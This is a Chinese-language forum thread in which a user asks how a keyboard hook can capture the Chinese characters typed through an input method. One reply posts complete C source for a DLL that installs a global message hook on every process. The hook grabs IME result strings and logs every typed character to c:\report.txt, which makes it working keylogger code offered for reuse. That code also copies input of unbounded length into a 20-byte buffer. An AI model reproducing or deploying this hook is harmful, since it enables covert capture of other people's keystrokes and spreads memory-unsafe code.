钩子函数咋才能钩到中文咧?

[Aiyangyu]

各位老师, 用键盘钩子咋才能钩到中文输入啊? 比如用户用全拼输入法输入"dajia", 键盘钩子钩到的也是"dajia", 而用户实际输入的是中文"大家". 钩子程序怎么才能知道输入的是"大家"呢?
99分(最大可用分)分答谢.

[POSONE]

不会吧，判断吧中英文不用这样吧！而是判断字节大小。

[long_xing]

键盘钩子钩到的只是键盘的动作，要得到具体内容，可以向接收字符的窗口发送WM_GETTEXT来得到他的内容啊。

[goodboyws]

钩WM_CHAR就可以

[brainholmes]

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{

switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}

// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20);

// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
break;
}
}

return(lResult);
}

HOOK_API BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}

HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}

[brainholmes]

用的是WM_IME_COMPOSITION

还要 有一个lib文件 我忘了名字
自己查吧

[wangk]

#pragma comment(lib,"Imm32.lib")

[xylegend]

mark

[neversoft]

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